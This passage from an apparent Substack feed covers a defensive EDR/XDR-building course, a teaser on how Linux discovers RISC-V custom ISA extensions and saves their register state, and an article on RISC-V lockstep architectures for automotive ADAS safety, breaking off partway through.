lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>The Technologies You&#8217;ll Work With</h2><ul><li><p><strong>eBPF (via Aya)</strong> for the Linux agent, <strong>ETW</strong> for Windows, and an <strong>Endpoint Security scaffold</strong> for macOS</p></li><li><p><strong>OCSF (Open Cybersecurity Schema Framework)</strong> &#8212; the shared event schema, verified against the real 1.8.0 spec &#8212; so a process launch on Linux and one on Windows look the same to the backend</p></li><li><p><strong>mTLS and SQLite-based buffering</strong> in the transport layer, so events aren&#8217;t lost if the network drops</p></li><li><p><strong>Kafka-style broker &#8594; ClickHouse/SQLite</strong> pipeline for ingest and storage</p></li><li><p><strong>Sigma-as-code detection rules</strong> plus a behavioral scoring engine and identity-based detection (ITDR) for things like impossible-travel logins</p></li><li><p>A <strong>correlation engine</strong> that links host, user, IP, and file-hash signals into one incident</p></li><li><p>A <strong>control-plane response system</strong> (kill process, quarantine file, isolate host) that is deliberately separated from the data plane and requires an explicit <code>--approved</code> flag &#8212; no silent auto-isolation</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> with constrained tools and red-team testing built in</p></li><li><p>A <strong>Helm chart</strong> for packaging the stack</p></li></ul><div><hr></div><h2>What Makes This Different</h2><p>Most security courses either stay theoretical or hand you a black-box product to click around in. This course does neither:</p><ul><li><p><strong>You build every layer yourself</strong>, from raw kernel events to the final incident view.</p></li><li><p><strong>Labs run on replay fixtures</strong> (recorded event files) rather than requiring live kernel access on your machine, so you can follow along without special hardware or risky live hooking.</p></li><li><p><strong>Design decisions are documented</strong>, including the ADR that separates &#8220;seeing&#8221; (data plane) from &#8220;acting&#8221; (control plane) &#8212; a real architectural principle used in production security systems.</p></li><li><p><strong>Detection is taught as a conversion story</strong>, not a magic black box &#8212; you&#8217;ll see exactly how a raw event becomes an OCSF record becomes a matched rule becomes a correlated incident.</p></li></ul><div><hr></div><h2>How the 21 Issues Progress</h2><p>The course moves in a deliberate build order, roughly following the attack lifecycle a real analyst deals with:</p><ol><li><p><strong>Foundations</strong> &#8212; threat model and the OCSF schema you&#8217;ll normalize everything into</p></li><li><p><strong>Agents</strong> &#8212; Linux (eBPF), Windows (ETW), and macOS, one platform at a time</p></li><li><p><strong>Transport and pipeline</strong> &#8212; buffering, mTLS, and getting events into storage (Kafka &#8594; ClickHouse)</p></li><li><p><strong>Telemetry depth</strong> &#8212; file, network, and persistence events, plus Kubernetes/container support</p></li><li><p><strong>Detection</strong> &#8212; Sigma-as-code rules and behavioral detection</p></li><li><p><strong>XDR correlation and identity</strong> &#8212; stitching alerts into incidents, including identity-based detection</p></li><li><p><strong>Response</strong> &#8212; approved, auditable actions like isolating a host</p></li><li><p><strong>Dashboard and AI copilot</strong> &#8212; the analyst-facing layer, including red-team testing of the copilot itself</p></li><li><p><strong>Hardening and capstone</strong> &#8212; anti-tamper concepts, packaging with Helm, and a final coverage report</p></li></ol><p>Each issue corresponds to a specific git tag in the companion repo, so you can check out exactly the working state that issue describes and follow along in real code.</p><div><hr></div><h2>An Honest Note</h2><p>This is a <strong>demoable vertical slice</strong>, not a commercial product. It is not a claim that these labs produce a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. Most demos run against replay fixtures rather than live kernel hooks, and the goal is to teach you <em>how these systems are layered and why</em>, using honest labs and clearly scoped stubs &#8212; not to hand you an enterprise security platform.</p><div><hr></div><h2>Start Building</h2><p>The full architecture only makes sense once you&#8217;ve laid the foundation. <strong>Issue 01 &#8212; Foundations, Threat Model, and OCSF</strong> is where it begins.</p><p>If you&#8217;ve ever wanted to understand security tooling from the inside out &#8212; not as a user, but as the engineer who built it &#8212; start there.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[ISA Extensions and Custom Instructions for Embedded IoT Edge Devices: How Linux Discovers and Context-Switches Hardware It Wasn’t Born With]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/isa-extensions-and-custom-instructions</link><guid isPermaLink="false">https://howtech.substack.com/p/isa-extensions-and-custom-instructions</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Tue, 04 Aug 2026 09:30:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!K49e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every general-purpose kernel is designed around an assumption: the instruction set is a fixed, known quantity. x86-64 has AVX. ARM64 has NEON. The kernel knows what registers exist, how big they are, and how to save them across a context switch, because the vendor manual said so years before the kernel shipped.</p><p>Embedded IoT edge silicon breaks that assumption on purpose. A RISC-V SoC vendor building a sensor-fusion chip, a crypto accelerator, or an always-on DSP core will frequently bolt a <em>custom instruction extension</em> onto the base ISA &#8212; new opcodes, new architectural registers, sometimes an entirely new register file &#8212; because the base ISA doesn&#8217;t have a MAC unit that fits a keyword-spotting model in 200 microwatts. RISC-V was designed for exactly this: the base ISA is small, ratified, and stable, and everything else is additive, encoded in reserved opcode space, and optional per-implementation.</p><p>This creates a real kernel engineering problem with two distinct halves. First, software has to find out at runtime whether a given extension is present at all &#8212; a problem the RISC-V ecosystem solved formally only in 2023, three decades into Linux&#8217;s life, with a dedicated syscall. Second, if that extension adds architectural state &#8212; new registers that live in silicon, not memory &#8212; the kernel has to know about that state well enough to save and restore it correctly every time it switches which task is running, or one task&#8217;s secrets leak into the next task&#8217;s register file.</p><p>This article works through both halves using real kernel mechanisms &#8212; <code>riscv_hwprobe(2)</code> for discovery, and the RISC-V vector extension&#8217;s context-switch machinery as the reference design for extended-state save/restore &#8212; and builds a validated userspace simulation of both, including two real bugs caught while writing the demo: a data race in a naive discovery cache, and a genuine cross-task register-state leak from a naive lazy-restore policy. That second bug, it turns out, is not hypothetical &#8212; it mirrors a class of bug the actual RISC-V vector subsystem has had to explicitly guard against in-tree.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!K49e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 424w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 848w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!K49e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:835134,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208644915?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 424w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 848w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!K49e!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80876cb0-e070-426e-9a8e-8d3cdbf27ead_3600x3600.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/isa-extensions-and-custom-instructions">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[RISC-V in Automotive: ADAS and Safety-Critical Control System Architectures]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/risc-v-in-automotive-adas-and-safety</link><guid isPermaLink="false">https://howtech.substack.com/p/risc-v-in-automotive-adas-and-safety</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 03 Aug 2026 09:30:27 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!tpIi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>An ADAS domain controller has to do two contradictory things at once. One side of the chip runs perception &#8212; camera and radar fusion, object detection, path planning &#8212; workloads that want throughput, caches, speculation, and a general-purpose OS underneath them. The other side runs the control loop that actually moves the brakes and the steering rack, and that side cares about exactly one thing: never miss a deadline, and never act on a wrong answer. Get the first side wrong and the car drives worse. Get the second side wrong and someone gets hurt.</p><p>RISC-V&#8217;s relevance to this problem isn&#8217;t that it&#8217;s open or that licensing is cheaper than Arm &#8212; those are business arguments. The engineering argument is that RISC-V is a modular ISA with a privileged architecture designed to be implemented differently at different privilege levels, which means a single vendor can build one core that runs Linux for perception and a structurally different, lockstepped core on the same die that runs the safety loop, sharing an interrupt fabric and a memory-protection scheme instead of two unrelated chips talking over a slow bus. RISC-V&#8217;s modular architecture allows the semiconductor industry to build heterogeneous SoCs combining high-performance cores with deterministic real-time cores and safety-certified lockstep cores, tailored to specific workloads. This article works through why that architecture looks the way it does, what the kernel actually touches versus what stays entirely in hardware, and builds a validated userspace demonstration of the software pattern &#8212; dual-channel comparison, deadline supervision, watchdog-triggered fail-safe &#8212; that a real lockstep core enforces below the instruction stream.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!tpIi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 424w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 848w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 1272w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!tpIi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png" width="1456" height="1010" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1010,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:782763,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208437162?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 424w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 848w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 1272w, /__u/substackcdn.com/image/fetch/$s_!tpIi!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7113f09d-94dc-4ddb-8410-a92db53cf47f_3920x2720.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>2. Historical Background</h2><p>Automotive functional safety architecture predates RISC-V by decades. ISO 26262, first published in 2011 and revised in 2018, formalized Automotive Safety Integrity Levels (ASIL A through D) as a way to size the rigor of a design process &#8212; and the redundancy of the hardware &#8212; to the severity of what happens if the function fails. Braking and steering control land at ASIL-D, the strictest tier, which in practice has meant dual-core lockstep (DCLS) silicon: two cores executing the identical instruction stream with comparator logic watching for divergence, a pattern that goes back to Infineon&#8217;s TriCore Aurix and NXP&#8217;s Arm-based safety MCUs long before RISC-V automotive silicon existed.</p><p>What changed is that RISC-V&#8217;s privileged specification gives a chip vendor room to implement M-mode (machine mode) safety mechanisms &#8212; physical memory protection, trap delegation, core-local interrupt controllers &#8212; as fully custom hardware without touching the base ISA that userspace and the kernel compile against. That&#8217;s what let IP vendors start shipping ASIL-qualified RISC-V cores as a product category rather than a research exercise. Andes Technology&#8217;s D23-SE, built on the production-proven D23 core, brings Dual-Core Lockstep and Split-Lock operation to ASIL-B and ASIL-D automotive systems, and it isn&#8217;t alone &#8212; Nuclei Systems now licenses ASIL-D compliant CPUs to major automotive customers, and Rambus has taken the same DCLS discipline into the security co-processor with a RISC-V core certified ASIL-D ready by SGS-T&#220;V Saar for use in V2X communications, ADAS, and ECU platform management. The open-source side has moved too: the SafeLS project implemented an open-source lockstep RISC-V core based on Gaisler&#8217;s NOEL-V, integrated into an FPGA-synthesizable SoC assessed against automotive and railway safety requirements.</p><h2>3. Systems-Level Problem</h2><p>General-purpose Linux scheduling optimizes for average throughput. A control loop for automatic emergency braking needs the opposite guarantee: a bounded worst case, not a good average. If 999 cycles out of 1000 complete in 200 microseconds and one takes 12 milliseconds because of a page fault, an IRQ storm, or a scheduler decision that let a lower-priority task run, that one cycle is the one that matters, because it&#8217;s the one where a vehicle two meters from an obstacle didn&#8217;t get a brake command in time.</p><p>Three failure modes have to be handled, not just detected after the fact:</p><ul><li><p><strong>Timing faults</strong> &#8212; the control loop is logically correct but late. A correct answer delivered after the actuation window closes is equivalent to no answer.</p></li><li><p><strong>Value faults</strong> &#8212; a bit flip from a cosmic-ray-induced single-event upset (SEU), a marginal voltage rail, or a genuine software bug produces a wrong but timely answer.</p></li><li><p><strong>Silent faults</strong> &#8212; the system stops updating without an obvious crash: a livelocked thread, a stuck interrupt, a deadlocked lock that never times out.</p></li></ul><p>Lockstep hardware addresses value faults. Real-time scheduling and interrupt discipline address timing faults. A watchdog &#8212; hardware or kernel-mediated &#8212; addresses silent faults. None of the three substitutes for the other two, and a production ADAS domain controller needs all three simultaneously, which is why the architecture ends up layered the way it does.</p><h2>4. Linux Kernel Architecture</h2><p>Here&#8217;s the part that&#8217;s easy to get wrong by assumption: Linux does not run the ASIL-D control loop. On a real automotive RISC-V SoC, the safety-rated lockstep core typically runs a small, statically-verified RTOS or a bare-metal safety kernel &#8212; not <code>arch/riscv</code> Linux &#8212; precisely because Linux&#8217;s memory allocator, page cache, and scheduler have failure modes (allocation stalls, RCU grace periods, cgroup accounting) that are extraordinarily hard to bound formally to the standard ISO 26262 demands. Automotive RISC-V platforms require hypervisor-certified separation for Linux and AUTOSAR coexistence, with deterministic interrupt behavior and memory protection enforced through PMP and hardware partitioning, and dedicated safety islands provide independent supervision of the main compute cluster in centralized autonomous platforms, separate from wherever Linux is running perception.</p><p>So what does <code>arch/riscv</code> Linux actually own in this picture? Three things, all visible in the architecture diagram above:</p><ol><li><p><strong>The non-safety compute cluster</strong> &#8212; perception, sensor fusion, path planning &#8212; where PREEMPT_RT-patched Linux with <code>SCHED_FIFO</code>/<code>SCHED_DEADLINE</code> gets you soft real-time behavior good enough for a monitoring or advisory role, but not the certified control authority itself.</p></li><li><p><strong>The interrupt fabric</strong> &#8212; the RISC-V Platform-Level Interrupt Controller (PLIC), and increasingly the newer Core-Local Interrupt Controller (CLIC) for lower-latency vectored interrupts, both of which the kernel&#8217;s <code>drivers/irqchip/irq-riscv-intc.c</code> and PLIC driver manage for the Linux-owned cores.</p></li><li><p><strong>PMP-aware memory mapping</strong> &#8212; Physical Memory Protection is configured in M-mode by firmware (OpenSBI) before S-mode Linux ever boots, carving out regions the kernel is permitted to touch and regions reserved for the safety island. Linux doesn&#8217;t configure PMP directly from S-mode; it lives inside the fence PMP has already drawn.</p></li></ol><p>The safety loop itself &#8212; the thing this article&#8217;s demo simulates &#8212; runs on hardware that Linux can <em>supervise</em> (via a watchdog character device, via shared memory heartbeat, via CAN) but does not <em>host</em>. That distinction is the single most important thing to take from this section.</p><h2>5. Internal Working</h2><p>Dual-core lockstep works by running two instances of the same core &#8212; sometimes physically identical, sometimes a &#8220;delayed lockstep&#8221; pair offset by a few cycles to catch faults that a perfectly synchronous pair would miss &#8212; on the identical instruction stream and comparing outputs every cycle or every bus transaction. DCLS remains the dominant ASIL-D safety mechanism: two identical cores execute the same instruction stream while comparator logic detects divergence. When the comparator sees a mismatch, it doesn&#8217;t try to figure out which core is right &#8212; that&#8217;s not knowable from output comparison alone &#8212; it asserts a fault line that forces the whole subsystem into a predefined safe state, typically holding the last known-safe actuator command or commanding a controlled stop.</p><p>Split-lock mode, which Andes&#8217; D23-SE also supports, lets the same silicon run as two independent cores for non-critical workloads when the full safety margin isn&#8217;t needed, then reconfigure into lockstep for the safety-critical phase &#8212; a way to reclaim performance without a second, dedicated safety die. RISC-V&#8217;s open specification also enables &#8220;flex-lockstep&#8221; designs, where cores transition between modes rather than being permanently wired one way, and custom ISA extensions can build software-defined hardware enclaves that provide spatial and temporal isolation for ASIL-D tasks on the same die as high-performance perception workloads &#8212; the single-die, mixed-criticality SoC that section 4&#8217;s architecture diagram shows.</p><p>Software can&#8217;t replicate cycle-level instruction comparison &#8212; that only exists in silicon. What software <em>can</em> replicate faithfully is the higher-level pattern: two independent computations of the same function from the same input, a bitwise comparator, and a fail-safe action on mismatch. That&#8217;s exactly the structure of this article&#8217;s demo, and it&#8217;s honest about the gap: the demo catches a corrupted floating-point register the same way DCLS catches a corrupted ALU output, but it does so at thread granularity measured in milliseconds, not instruction granularity measured in nanoseconds.</p><h2>6. Step-by-Step Execution Flow</h2><h2>Github Link:</h2><p><a href="http://github.com/sysdr/howtech-p/tree/main/RISC-V-in-Automotive/adas-lab">http://github.com/sysdr/howtech-p/tree/main/RISC-V-in-Automotive/adas-lab</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!-4uD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 424w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, 